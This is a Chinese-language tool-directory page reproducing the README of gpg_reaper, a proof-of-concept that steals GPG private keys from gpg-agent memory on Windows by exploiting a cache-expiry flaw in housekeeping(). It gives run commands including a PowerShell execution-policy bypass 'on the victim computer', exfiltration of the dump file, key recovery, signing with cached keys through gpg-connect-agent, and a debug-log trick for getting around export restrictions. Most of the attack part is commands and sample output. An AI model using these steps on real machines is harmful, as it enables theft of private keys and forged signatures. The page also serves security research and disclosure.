Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gpg_reaper — GPG Reaper - 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥 | Kitploit
工具/GitHubGitHub/kacperszurek/gpg_reaper
内存取证漏洞利用后渗透利用渗透测试
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥

查看仓库
961198年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GPG Reaper

TL;DR: 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥

GPG Reaper logo

该 POC 演示了在 Windows 下从 gpg-agent 内存中获取 GPG 私钥的方法。

通常情况下,这只能在 10 分钟 时间窗口内完成(即 --default-cache-ttl 的值)。

不幸的是,housekeeping() 函数(负责缓存清理)仅在您使用 GPG 时执行(没有定时器)。

这意味着在正常的 GPG 使用场景下(例如:您签署某个文件,然后关闭图形界面去处理其他任务),您的密码仍然会保留在 gpg-agent 内存中(即使 TTL 已过期)。

能够访问当前会话的攻击者可以利用此方法窃取私钥,而无需知道您的密码。

注意:GPG 将在 2.2.6 版本更改缓存机制。请参见 commit 和 issue。

Gpg Reaper 实现

目录

  • 安装
  • 测试
  • 介绍
  • 使用方法
  • 在装有 GPG 的机器上进行后利用
  • 绕过私钥导出限制
  • 结论
  • 实现
  • 支持的版本
  • 常见问题
  • 致谢

安装

pip install PGPy

如果遇到:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

则执行:

pip install six==1.10.0

测试

  1. 安装 Gpg4Win 3.0.3

  2. 打开命令行,以 2 秒 缓存时间启动 agent:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. 运行 Kleopatra 并生成新的密钥对

生成 GPG 密钥

  1. 签署某个示例测试文件

签署测试文件

  1. Pinetry 会弹出并询问密码

Pinentry

  1. 重复步骤 4-5。每次 pinetry 都会弹出,因为我们的 2 秒缓存已过期

  2. 运行 GPG reaper

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

您将看到类似以下内容:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

如您所见,我们成功导出了密钥。这是因为我们禁用了 housekeeping 函数(将其 NOP 掉)。

  1. 恢复私钥:
python gpg_reaper.py .\testme.txt

私钥被导出到文件中:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

介绍

GPG-Agent 是一个守护进程,用于独立于任何协议管理私钥。

GUI 界面通过 Assuan 协议 与 agent 通信。

默认情况下,agent 会缓存您的凭据。

--default-cache-ttl n 选项设置缓存条目的有效时间为 n 秒。

默认值为 600 秒。每次访问缓存条目时,其计时器都会重置。

在 Windows 下,签名过程如下所示:

签名过程

这里关键的部分是 housekeeping() 函数,它负责从内存中移除过期的凭据。

但有一个问题:该函数仅在两个地方执行(agent_put_cache 和 agent_get_cache 内部)。

这意味着缓存的凭据不会从内存中移除,直到某些使用 agent_put_cache、agent_get_cache 或 agent_flush_cache 的 gpg-agent 命令被执行。

使用方法

在受害者计算机上:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

将 out.txt 传输到您的机器上,然后恢复私钥:

gpg_reaper.py out.txt

私钥将被导出到单独的文件中。

如果 GPG 安装在默认目录之外:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

如果不需要调试信息:

Gpg-Reaper -Verbose $false

在装有 GPG 的机器上进行后利用

假设您正在进行渗透测试,并获得了安装了 GPG 的计算机的 shell。

如果您运气好,用户最近使用过 GPG 且缓存尚未过期,您可以:

  1. 签署文件:

运行 c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • 获取特定机器上可用的密钥列表
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • 设置密钥柄和消息哈希
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. 导出私钥:

运行 c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • 获取包装密钥
KEYWRAP_KEY --export
  • 从密钥存储中导出密钥。密钥将使用当前会话的密钥包装密钥并以 AESWRAP-128 算法加密
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

不幸的是,这并不能按预期工作,并且会要求输入密码。

为什么?因为 cmd_export_key() 函数使用 CACHE_MODE_IGNORE 标志调用了 agent_key_from_file(),这意味着不会使用缓存,每次都会要求用户输入密码。

绕过私钥导出限制

我们知道,在不知道密码的情况下,通过 gpg-agent 导出 GPG 密钥是不可能的。

但这里有一个小技巧。Agent 有一些可用的选项:

  1. --debug-level

选择调试级别以调查问题。level 可以是数值或关键字:

guru - 获取所有可用的调试信息。

  1. --log-file file

将所有日志输出追加到文件。这对于查看 agent 实际执行的操作非常有帮助。

让我们使用 gpg-agent.exe --daemon --debug-level guru --log-file out.txt 启动 agent,然后签署某个文件。

下载工具